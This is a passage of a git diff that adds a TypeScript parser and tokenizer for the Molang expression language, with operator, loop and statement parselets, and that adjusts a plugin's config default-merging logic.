+ '&&', + (leftExpression: IExpression, rightExpression: IExpression) => + leftExpression.eval() && rightExpression.eval() + ) + else throw new Error(`"&" not followed by another "&"`) + } +} diff --git a/packages/molang/src/parser/parselets/arrayAccess.ts b/packages/molang/src/parser/parselets/arrayAccess.ts new file mode 100644 index 00000000..523f57de --- /dev/null +++ b/packages/molang/src/parser/parselets/arrayAccess.ts @@ -0,0 +1,22 @@ +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { IInfixParselet } from './infix' +import { IExpression } from '../expression' +import { ArrayAccessExpression } from '../expressions/arrayAccess' + +export class ArrayAccessParselet implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, left: IExpression, token: Token) { + const expr = parser.parseExpression(this.precedence - 1) + + if (!left.setPointer) throw new Error(`"${left.type}" is not an array`) + + if (!parser.match('ARRAY_RIGHT')) + throw new Error( + `No closing bracket for opening bracket "[${expr.eval()}"` + ) + + return new ArrayAccessExpression(left, expr) + } +} diff --git a/packages/molang/src/parser/parselets/binaryOperator.ts b/packages/molang/src/parser/parselets/binaryOperator.ts new file mode 100644 index 00000000..3cd7d329 --- /dev/null +++ b/packages/molang/src/parser/parselets/binaryOperator.ts @@ -0,0 +1,134 @@ +import { IInfixParselet } from './infix' +import { Parser } from '../parse' +import { IExpression } from '../expression' +import { Token } from '../../tokenizer/token' +import { GenericOperatorExpression } from '../expressions/genericOperator' + +const plusHelper = ( + leftExpression: IExpression, + rightExpression: IExpression +) => { + const leftValue = leftExpression.eval() + const rightValue = rightExpression.eval() + if ( + !(typeof leftValue === 'number' || typeof leftValue === 'boolean') || + !(typeof rightValue === 'number' || typeof rightValue === 'boolean') + ) + throw new Error( + `Cannot use numeric operators for expression "${leftValue} + ${rightValue}"` + ) + //@ts-ignore + return leftValue + rightValue +} +const minusHelper = ( + leftExpression: IExpression, + rightExpression: IExpression +) => { + const leftValue = leftExpression.eval() + const rightValue = rightExpression.eval() + if ( + !(typeof leftValue === 'number' || typeof leftValue === 'boolean') || + !(typeof rightValue === 'number' || typeof rightValue === 'boolean') + ) + throw new Error( + `Cannot use numeric operators for expression "${leftValue} - ${rightValue}"` + ) + //@ts-ignore + return leftValue - rightValue +} +const divideHelper = ( + leftExpression: IExpression, + rightExpression: IExpression +) => { + const leftValue = leftExpression.eval() + const rightValue = rightExpression.eval() + if ( + !(typeof leftValue === 'number' || typeof leftValue === 'boolean') || + !(typeof rightValue === 'number' || typeof rightValue === 'boolean') + ) + throw new Error( + `Cannot use numeric operators for expression "${leftValue} / ${rightValue}"` + ) + //@ts-ignore + return leftValue / rightValue +} +const multiplyHelper = ( + leftExpression: IExpression, + rightExpression: IExpression +) => { + const leftValue = leftExpression.eval() + const rightValue = rightExpression.eval() + if ( + !(typeof leftValue === 'number' || typeof leftValue === 'boolean') || + !(typeof rightValue === 'number' || typeof rightValue === 'boolean') + ) + throw new Error( + `Cannot use numeric operators for expression "${leftValue} * ${rightValue}"` + ) + //@ts-ignore + return leftValue * rightValue +} +const assignHelper = ( + leftExpression: IExpression, + rightExpression: IExpression +) => { + if (leftExpression.setPointer) { + leftExpression.setPointer(rightExpression.eval()) + return 0 + } else { + throw Error(`Cannot assign to ${leftExpression.type}`) + } +} + +export class BinaryOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + const rightExpression = parser.parseExpression(this.precedence) + // return new AdditionExpression(leftExpression, rightExpression) + + const tokenText = token.getText() + + switch (tokenText) { + case '+': + return new GenericOperatorExpression( + leftExpression, + rightExpression, + tokenText, + plusHelper + ) + case '-': + return new GenericOperatorExpression( + leftExpression, + rightExpression, + tokenText, + minusHelper + ) + case '*': + return new GenericOperatorExpression( + leftExpression, + rightExpression, + tokenText, + multiplyHelper + ) + case '/': + return new GenericOperatorExpression( + leftExpression, + rightExpression, + tokenText, + divideHelper + ) + case '=': { + return new GenericOperatorExpression( + leftExpression, + rightExpression, + '=', + assignHelper + ) + } + + default: + throw new Error(`Operator not implemented`) + } + } +} diff --git a/packages/molang/src/parser/parselets/boolean.ts b/packages/molang/src/parser/parselets/boolean.ts new file mode 100644 index 00000000..b6490424 --- /dev/null +++ b/packages/molang/src/parser/parselets/boolean.ts @@ -0,0 +1,12 @@ +import { IPrefixParselet } from './prefix' +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { BooleanExpression } from '../expressions/boolean' + +export class BooleanParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new BooleanExpression(token.getText() === 'true') + } +} diff --git a/packages/molang/src/parser/parselets/break.ts b/packages/molang/src/parser/parselets/break.ts new file mode 100644 index 00000000..2fd61058 --- /dev/null +++ b/packages/molang/src/parser/parselets/break.ts @@ -0,0 +1,12 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { BreakExpression } from '../expressions/break' + +export class BreakParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new BreakExpression() + } +} diff --git a/packages/molang/src/parser/parselets/continue.ts b/packages/molang/src/parser/parselets/continue.ts new file mode 100644 index 00000000..6aaf9636 --- /dev/null +++ b/packages/molang/src/parser/parselets/continue.ts @@ -0,0 +1,12 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { ContinueExpression } from '../expressions/continue' + +export class ContinueParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new ContinueExpression() + } +} diff --git a/packages/molang/src/parser/parselets/equals.ts b/packages/molang/src/parser/parselets/equals.ts new file mode 100644 index 00000000..6ee70960 --- /dev/null +++ b/packages/molang/src/parser/parselets/equals.ts @@ -0,0 +1,19 @@ +import { Parser } from '../../parser/parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class EqualsOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '==', + (leftExpression: IExpression, rightExpression: IExpression) => + leftExpression.eval() === rightExpression.eval() + ) + } +} diff --git a/packages/molang/src/parser/parselets/forEach.ts b/packages/molang/src/parser/parselets/forEach.ts new file mode 100644 index 00000000..de5bb144 --- /dev/null +++ b/packages/molang/src/parser/parselets/forEach.ts @@ -0,0 +1,29 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { IExpression } from '../expression' +import { ForEachExpression } from '../expressions/forEach' + +export class ForEachParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + parser.consume('LEFT_PARENT') + const args: IExpression[] = [] + + if (parser.match('RIGHT_PARENT')) + throw new Error(`for_each() called without arguments`) + + do { + args.push(parser.parseExpression()) + } while (parser.match('COMMA')) + parser.consume('RIGHT_PARENT') + + if (args.length !== 3) + throw new Error( + `There must be exactly three for_each() arguments; found ${args.length}` + ) + + return new ForEachExpression(args[0], args[1], args[2]) + } +} diff --git a/packages/molang/src/parser/parselets/function.ts b/packages/molang/src/parser/parselets/function.ts new file mode 100644 index 00000000..ba826015 --- /dev/null +++ b/packages/molang/src/parser/parselets/function.ts @@ -0,0 +1,26 @@ +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { IInfixParselet } from './infix' +import { IExpression } from '../expression' +import { FunctionExpression } from '../expressions/function' + +export class FunctionParselet implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, left: IExpression, token: Token) { + const args: IExpression[] = [] + + if (!left.setFunctionCall) + throw new Error(`${left.type} is not callable!`) + left.setFunctionCall(true) + + if (!parser.match('RIGHT_PARENT')) { + do { + args.push(parser.parseExpression()) + } while (parser.match('COMMA')) + parser.consume('RIGHT_PARENT') + } + + return new FunctionExpression(left, args) + } +} diff --git a/packages/molang/src/parser/parselets/greaterOperator.ts b/packages/molang/src/parser/parselets/greaterOperator.ts new file mode 100644 index 00000000..92a0bb50 --- /dev/null +++ b/packages/molang/src/parser/parselets/greaterOperator.ts @@ -0,0 +1,31 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class GreaterOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('EQUALS')) + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '>=', + (leftExpression: IExpression, rightExpression: IExpression) => + // @ts-ignore + leftExpression.eval() >= rightExpression.eval() + ) + else { + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '>', + (leftExpression: IExpression, rightExpression: IExpression) => + // @ts-ignore + leftExpression.eval() > rightExpression.eval() + ) + } + } +} diff --git a/packages/molang/src/parser/parselets/groupParselet.ts b/packages/molang/src/parser/parselets/groupParselet.ts new file mode 100644 index 00000000..b098ead1 --- /dev/null +++ b/packages/molang/src/parser/parselets/groupParselet.ts @@ -0,0 +1,18 @@ +import { IPrefixParselet } from './prefix' +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { GroupExpression } from '../expressions/group' + +export class GroupParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + const expression = parser.parseExpression(this.precedence) + parser.consume('RIGHT_PARENT') + + if (parser.config.keepGroups) + return new GroupExpression(expression, '()') + + return expression + } +} diff --git a/packages/molang/src/parser/parselets/infix.ts b/packages/molang/src/parser/parselets/infix.ts new file mode 100644 index 00000000..78b17da7 --- /dev/null +++ b/packages/molang/src/parser/parselets/infix.ts @@ -0,0 +1,8 @@ +import { Parser } from '../parse' +import { IExpression } from '../expression' +import { Token } from '../../tokenizer/token' + +export interface IInfixParselet { + readonly precedence: number + parse: (parser: Parser, left: IExpression, token: Token) => IExpression +} diff --git a/packages/molang/src/parser/parselets/loop.ts b/packages/molang/src/parser/parselets/loop.ts new file mode 100644 index 00000000..39f35145 --- /dev/null +++ b/packages/molang/src/parser/parselets/loop.ts @@ -0,0 +1,29 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { IExpression } from '../expression' +import { LoopExpression } from '../expressions/loop' + +export class LoopParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + parser.consume('LEFT_PARENT') + const args: IExpression[] = [] + + if (parser.match('RIGHT_PARENT')) + throw new Error(`loop() called without arguments`) + + do { + args.push(parser.parseExpression()) + } while (parser.match('COMMA')) + parser.consume('RIGHT_PARENT') + + if (args.length !== 2) + throw new Error( + `There must be exactly two loop() arguments; found ${args.length}` + ) + + return new LoopExpression(args[0], args[1]) + } +} diff --git a/packages/molang/src/parser/parselets/name.ts b/packages/molang/src/parser/parselets/name.ts new file mode 100644 index 00000000..27d5328d --- /dev/null +++ b/packages/molang/src/parser/parselets/name.ts @@ -0,0 +1,43 @@ +import { IPrefixParselet } from './prefix' +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { NameExpression } from '../expressions/name' +import { ContextSwitchExpression } from '../expressions/contextSwitch' + +export class NameParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + const nameExpr = new NameExpression( + parser.executionEnv, + token.getText() + ) + const nextTokens = [parser.lookAhead(0), parser.lookAhead(1)] + + // Context switching operator "->" + if ( + nextTokens[0].getType() === 'MINUS' && + nextTokens[1].getType() === 'GREATER' + ) { + parser.consume('MINUS') + parser.consume('GREATER') + + const nameToken = parser.lookAhead(0) + if (nameToken.getType() !== 'NAME') + throw new Error( + `Cannot use context switch operator "->" on ${parser.lookAhead( + 0 + )}` + ) + + parser.consume('NAME') + + return new ContextSwitchExpression( + nameExpr, + new NameExpression(parser.executionEnv, nameToken.getText()) + ) + } + + return nameExpr + } +} diff --git a/packages/molang/src/parser/parselets/notEquals.ts b/packages/molang/src/parser/parselets/notEquals.ts new file mode 100644 index 00000000..a6fe4026 --- /dev/null +++ b/packages/molang/src/parser/parselets/notEquals.ts @@ -0,0 +1,23 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class NotEqualsOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('EQUALS')) { + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '!=', + (leftExpression: IExpression, rightExpression: IExpression) => + leftExpression.eval() !== rightExpression.eval() + ) + } else { + throw new Error(`! was used as a binary operator`) + } + } +} diff --git a/packages/molang/src/parser/parselets/number.ts b/packages/molang/src/parser/parselets/number.ts new file mode 100644 index 00000000..68d4bcd8 --- /dev/null +++ b/packages/molang/src/parser/parselets/number.ts @@ -0,0 +1,12 @@ +import { IPrefixParselet } from './prefix' +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { NumberExpression } from '../expressions/number' + +export class NumberParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new NumberExpression(Number(token.getText())) + } +} diff --git a/packages/molang/src/parser/parselets/orOperator.ts b/packages/molang/src/parser/parselets/orOperator.ts new file mode 100644 index 00000000..a6cdc06c --- /dev/null +++ b/packages/molang/src/parser/parselets/orOperator.ts @@ -0,0 +1,21 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class OrOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('OR')) + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '||', + (leftExpression: IExpression, rightExpression: IExpression) => + leftExpression.eval() || rightExpression.eval() + ) + else throw new Error(`"|" not followed by another "|"`) + } +} diff --git a/packages/molang/src/parser/parselets/postfix.ts b/packages/molang/src/parser/parselets/postfix.ts new file mode 100644 index 00000000..dc0bcf98 --- /dev/null +++ b/packages/molang/src/parser/parselets/postfix.ts @@ -0,0 +1,3 @@ +import { IInfixParselet } from './infix' + +export interface IPostfixParselet extends IInfixParselet {} diff --git a/packages/molang/src/parser/parselets/prefix.ts b/packages/molang/src/parser/parselets/prefix.ts new file mode 100644 index 00000000..c8e8ef85 --- /dev/null +++ b/packages/molang/src/parser/parselets/prefix.ts @@ -0,0 +1,20 @@ +import { Parser } from '../parse' +import { IExpression } from '../expression' +import { Token } from '../../tokenizer/token' +import { PrefixExpression } from '../expressions/prefix' + +export interface IPrefixParselet { + readonly precedence: number + parse: (parser: Parser, token: Token) => IExpression +} + +export class PrefixOperator implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new PrefixExpression( + token.getType(), + parser.parseExpression(this.precedence) + ) + } +} diff --git a/packages/molang/src/parser/parselets/questionOperator.ts b/packages/molang/src/parser/parselets/questionOperator.ts new file mode 100644 index 00000000..2aa148d7 --- /dev/null +++ b/packages/molang/src/parser/parselets/questionOperator.ts @@ -0,0 +1,26 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' +import { TernaryParselet } from './ternary' +import { EPrecedence } from '../precedence' + +const ternaryParselet = new TernaryParselet(EPrecedence.CONDITIONAL) +export class QuestionOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('QUESTION')) { + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '??', + (leftExpression: IExpression, rightExpression: IExpression) => + leftExpression.eval() ?? rightExpression.eval() + ) + } else { + return ternaryParselet.parse(parser, leftExpression, token) + } + } +} diff --git a/packages/molang/src/parser/parselets/return.ts b/packages/molang/src/parser/parselets/return.ts new file mode 100644 index 00000000..68090630 --- /dev/null +++ b/packages/molang/src/parser/parselets/return.ts @@ -0,0 +1,18 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { NumberExpression } from '../expressions/number' +import { ReturnExpression } from '../expressions/return' +import { EPrecedence } from '../precedence' + +export class ReturnParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + const expr = parser.parseExpression(EPrecedence.STATEMENT + 1) + + return new ReturnExpression( + parser.match('SEMICOLON', false) ? expr : new NumberExpression(0) + ) + } +} diff --git a/packages/molang/src/parser/parselets/scope.ts b/packages/molang/src/parser/parselets/scope.ts new file mode 100644 index 00000000..7242a5e9 --- /dev/null +++ b/packages/molang/src/parser/parselets/scope.ts @@ -0,0 +1,22 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IPrefixParselet } from './prefix' +import { GroupExpression } from '../expressions/group' + +export class ScopeParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + let expr = parser.parseExpression(this.precedence) + + if ( + parser.config.useOptimizer && + parser.config.earlyReturnsSkipTokenization && + expr.isReturn + ) + parser.match('CURLY_RIGHT') + else parser.consume('CURLY_RIGHT') + + return parser.config.keepGroups ? new GroupExpression(expr, '{}') : expr + } +} diff --git a/packages/molang/src/parser/parselets/smallerOperator.ts b/packages/molang/src/parser/parselets/smallerOperator.ts new file mode 100644 index 00000000..8fca848b --- /dev/null +++ b/packages/molang/src/parser/parselets/smallerOperator.ts @@ -0,0 +1,31 @@ +import { Parser } from '../parse' +import { Token } from '../../tokenizer/token' +import { IExpression } from '../expression' +import { GenericOperatorExpression } from '../expressions/genericOperator' +import { IInfixParselet } from './infix' + +export class SmallerOperator implements IInfixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + if (parser.match('EQUALS')) + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '<=', + (leftExpression: IExpression, rightExpression: IExpression) => + // @ts-ignore + leftExpression.eval() <= rightExpression.eval() + ) + else { + return new GenericOperatorExpression( + leftExpression, + parser.parseExpression(this.precedence), + '<', + (leftExpression: IExpression, rightExpression: IExpression) => + // @ts-ignore + leftExpression.eval() < rightExpression.eval() + ) + } + } +} diff --git a/packages/molang/src/parser/parselets/statement.ts b/packages/molang/src/parser/parselets/statement.ts new file mode 100644 index 00000000..59ce9e8b --- /dev/null +++ b/packages/molang/src/parser/parselets/statement.ts @@ -0,0 +1,84 @@ +import { Parser } from '../parse' +import { IExpression } from '../expression' +import { Token } from '../../tokenizer/token' +import { IInfixParselet } from './infix' +import { StatementExpression } from '../expressions/statement' +import { StaticExpression } from '../expressions/static' + +export class StatementParselet implements IInfixParselet { + constructor(public precedence = 0) {} + + findReEntryPoint(parser: Parser) { + let bracketCount = 1 + let tokenType = parser.lookAhead(0).getType() + while (tokenType !== 'EOF') { + if (tokenType == 'CURLY_RIGHT') bracketCount-- + else if (tokenType === 'CURLY_LEFT') bracketCount++ + if (bracketCount === 0) break + + parser.consume() + tokenType = parser.lookAhead(0).getType() + } + } + + parse(parser: Parser, left: IExpression, token: Token) { + if (parser.config.useOptimizer) { + if (left.isStatic()) + left = new StaticExpression(left.eval(), left.isReturn) + + if (parser.config.earlyReturnsSkipParsing && left.isReturn) { + if (!parser.config.earlyReturnsSkipTokenization) + this.findReEntryPoint(parser) + + return new StatementExpression([left]) + } + } + + const expressions: IExpression[] = [left] + + if (!parser.match('CURLY_RIGHT', false)) { + do { + let expr = parser.parseExpression(this.precedence) + if (parser.config.useOptimizer) { + if (expr.isStatic()) { + if ( + parser.config.useAgressiveStaticOptimizer && + !expr.isReturn + ) + continue + expr = new StaticExpression(expr.eval(), expr.isReturn) + } + + if ( + parser.config.earlyReturnsSkipParsing && + (expr.isBreak || expr.isContinue || expr.isReturn) + ) { + expressions.push(expr) + + if (!parser.config.earlyReturnsSkipTokenization) + this.findReEntryPoint(parser) + + return new StatementExpression(expressions) + } + } + + expressions.push(expr) + } while ( + parser.match('SEMICOLON') && + !parser.match('EOF') && + !parser.match('CURLY_RIGHT', false) + ) + } + + parser.match('SEMICOLON') + + const statementExpr = new StatementExpression(expressions) + // if (parser.config.useOptimizer && statementExpr.isStatic()) { + // return new StaticExpression( + // statementExpr.eval(), + // statementExpr.isReturn + // ) + // } + return statementExpr + } +} diff --git a/packages/molang/src/parser/parselets/string.ts b/packages/molang/src/parser/parselets/string.ts new file mode 100644 index 00000000..13608557 --- /dev/null +++ b/packages/molang/src/parser/parselets/string.ts @@ -0,0 +1,12 @@ +import { IPrefixParselet } from './prefix' +import { Token } from '../../tokenizer/token' +import { Parser } from '../parse' +import { StringExpression } from '../expressions/string' + +export class StringParselet implements IPrefixParselet { + constructor(public precedence = 0) {} + + parse(parser: Parser, token: Token) { + return new StringExpression(token.getText()) + } +} diff --git a/packages/molang/src/parser/parselets/ternary.ts b/packages/molang/src/parser/parselets/ternary.ts new file mode 100644 index 00000000..998a01c1 --- /dev/null +++ b/packages/molang/src/parser/parselets/ternary.ts @@ -0,0 +1,28 @@ +import { IInfixParselet } from './infix' +import { Parser } from '../parse' +import { IExpression } from '../expression' +import { Token } from '../../tokenizer/token' +import { TernaryExpression } from '../expressions/ternary' +import { VoidExpression } from '../expressions/void' + +export class TernaryParselet implements IInfixParselet { + exprName = 'Ternary' + constructor(public precedence = 0) {} + + parse(parser: Parser, leftExpression: IExpression, token: Token) { + let thenExpr = parser.parseExpression(this.precedence - 1) + let elseExpr: IExpression + + if (parser.match('COLON')) { + elseExpr = parser.parseExpression(this.precedence - 1) + } else { + elseExpr = new VoidExpression() + } + + if (parser.config.useOptimizer && leftExpression.isStatic()) { + return leftExpression.eval() ? thenExpr : elseExpr + } + + return new TernaryExpression(leftExpression, thenExpr, elseExpr) + } +} diff --git a/packages/molang/src/parser/precedence.ts b/packages/molang/src/parser/precedence.ts new file mode 100644 index 00000000..c3b004b9 --- /dev/null +++ b/packages/molang/src/parser/precedence.ts @@ -0,0 +1,25 @@ +export enum EPrecedence { + SCOPE = 1, + STATEMENT, + + ASSIGNMENT, + CONDITIONAL, + + ARRAY_ACCESS, + + NULLISH_COALESCING, + + AND, + OR, + + EQUALS_COMPARE, + COMPARE, + + SUM, + PRODUCT, + EXPONENT, + + PREFIX, + POSTFIX, + FUNCTION, +} diff --git a/packages/molang/src/tokenizer/Tokenizer.ts b/packages/molang/src/tokenizer/Tokenizer.ts new file mode 100644 index 00000000..4f03d05b --- /dev/null +++ b/packages/molang/src/tokenizer/Tokenizer.ts @@ -0,0 +1,144 @@ +import { TokenTypes, KeywordTokens } from './tokenTypes' +import { Token } from './token' + +export class Tokenizer { + protected keywordTokens: Set + protected i = 0 + protected currentColumn = 0 + protected currentLine = 0 + protected lastColumns = 0 + protected expression!: string + + constructor(addKeywords?: Set) { + if (addKeywords) + this.keywordTokens = new Set([...KeywordTokens, ...addKeywords]) + else this.keywordTokens = KeywordTokens + } + + init(expression: string) { + this.currentLine = 0 + this.currentColumn = 0 + this.lastColumns = 0 + this.i = 0 + this.expression = expression + } + + next(): Token { + this.currentColumn = this.i - this.lastColumns + + while ( + this.i < this.expression.length && + (this.expression[this.i] === ' ' || + this.expression[this.i] === '\t' || + this.expression[this.i] === '\n') + ) { + if (this.expression[this.i] === '\n') { + this.currentLine++ + this.currentColumn = 0 + this.lastColumns = this.i + 1 + } + this.i++ + } + + // This is unnecessary for parsing simple, vanilla molang expressions + // Might make sense to move it into a "TokenizerWithComments" class in the future + if (this.expression[this.i] === '#') { + const index = this.expression.indexOf('\n', this.i + 1) + this.i = index === -1 ? this.expression.length : index + this.currentLine++ + this.lastColumns = this.i + 1 + this.currentColumn = 0 + return this.next() + } + + // Check tokens with one char + let token = TokenTypes[this.expression[this.i]] + if (token) { + return new Token( + token, + this.expression[this.i++], + this.currentColumn, + this.currentLine + ) + } else if ( + this.isLetter(this.expression[this.i]) || + this.expression[this.i] === '_' + ) { + let j = this.i + 1 + while ( + j < this.expression.length && + (this.isLetter(this.expression[j]) || + this.isNumber(this.expression[j]) || + this.expression[j] === '_' || + this.expression[j] === '.') + ) { + j++ + } + + const value = this.expression.substring(this.i, j).toLowerCase() + + this.i = j + return new Token( + this.keywordTokens.has(value) ? value.toUpperCase() : 'NAME', + value, + this.currentColumn, + this.currentLine + ) + } else if (this.isNumber(this.expression[this.i])) { + let j = this.i + 1 + let hasDecimal = false + while ( + j < this.expression.length && + (this.isNumber(this.expression[j]) || + (this.expression[j] === '.' && !hasDecimal)) + ) { + if (this.expression[j] === '.') hasDecimal = true + j++ + } + + const token = new Token( + 'NUMBER', + this.expression.substring(this.i, j), + this.currentColumn, + this.currentLine + ) + // Support notations like "0.5f" + const usesFloatNotation = hasDecimal && this.expression[j] === 'f' + + this.i = usesFloatNotation ? j + 1 : j + + return token + } else if (this.expression[this.i] === "'") { + let j = this.i + 1 + while (j < this.expression.length && this.expression[j] !== "'") { + j++ + } + j++ + const token = new Token( + 'STRING', + this.expression.substring(this.i, j), + this.currentColumn, + this.currentLine + ) + this.i = j + return token + } + + if (this.hasNext()) { + this.i++ + return this.next() + } + return new Token('EOF', '', this.currentColumn, this.currentLine) + } + hasNext() { + return this.i < this.expression.length + } + + protected isLetter(char: string) { + return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z') + } + + protected isNumber(char: string) { + return char >= '0' && char <= '9' + } +} diff --git a/packages/molang/src/tokenizer/token.ts b/packages/molang/src/tokenizer/token.ts new file mode 100644 index 00000000..fbdb08cd --- /dev/null +++ b/packages/molang/src/tokenizer/token.ts @@ -0,0 +1,25 @@ +export type TTokenType = string + +export class Token { + constructor( + protected type: string, + protected text: string, + protected startColumn: number, + protected startLine: number + ) {} + + getType() { + return this.type + } + getText() { + return this.text + } + getPosition() { + return { + startColumn: this.startColumn, + startLineNumber: this.startLine, + endColumn: this.startColumn + this.text.length, + endLineNumber: this.startLine, + } + } +} diff --git a/packages/molang/src/tokenizer/tokenTypes.ts b/packages/molang/src/tokenizer/tokenTypes.ts new file mode 100644 index 00000000..aca66668 --- /dev/null +++ b/packages/molang/src/tokenizer/tokenTypes.ts @@ -0,0 +1,32 @@ +export const TokenTypes: Record = { + '!': 'BANG', + '&': 'AND', + '(': 'LEFT_PARENT', + ')': 'RIGHT_PARENT', + '*': 'ASTERISK', + '+': 'PLUS', + ',': 'COMMA', + '-': 'MINUS', + '/': 'SLASH', + ':': 'COLON', + ';': 'SEMICOLON', + '<': 'SMALLER', + '=': 'EQUALS', + '>': 'GREATER', + '?': 'QUESTION', + '[': 'ARRAY_LEFT', + ']': 'ARRAY_RIGHT', + '{': 'CURLY_LEFT', + '|': 'OR', + '}': 'CURLY_RIGHT', +} + +export const KeywordTokens = new Set([ + 'return', + 'continue', + 'break', + 'for_each', + 'loop', + 'false', + 'true', +]) diff --git a/packages/molang/tsconfig.json b/packages/molang/tsconfig.json new file mode 100644 index 00000000..aa8666b8 --- /dev/null +++ b/packages/molang/tsconfig.json @@ -0,0 +1,7 @@ +{ + "extends": "../../tsconfig.json", + "compilerOptions": { + "baseUrl": "src", + "outDir": "dist" + } +} diff --git a/packages/plugin/src/config.ts b/packages/plugin/src/config.ts index a1d1ec05..235629ec 100644 --- a/packages/plugin/src/config.ts +++ b/packages/plugin/src/config.ts @@ -110,11 +110,12 @@ export class PluginConfigManager { let needSave = false for (const key of Object.keys(defaultValue)) { // 当配置文件不存在当前属性时才进行赋值 - if (!Object.prototype.hasOwnProperty.call(configValue, key)) { + if (!Object.prototype.hasOwnProperty.call(configValue, key) && key != '____deep_copy____') { configValue[key] = defaultValue[key] needSave = true - } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) { - // 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置 + } else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" + && Object.prototype.hasOwnProperty.call(defaultValue[key], '____deep_copy____')) { + // 对象需要递归检测 如果对象内存在 ____deep_copy____ 那就忽略设置 needSave ||= this.setDefaultValue(configValue[key], defaultValue[key]) } }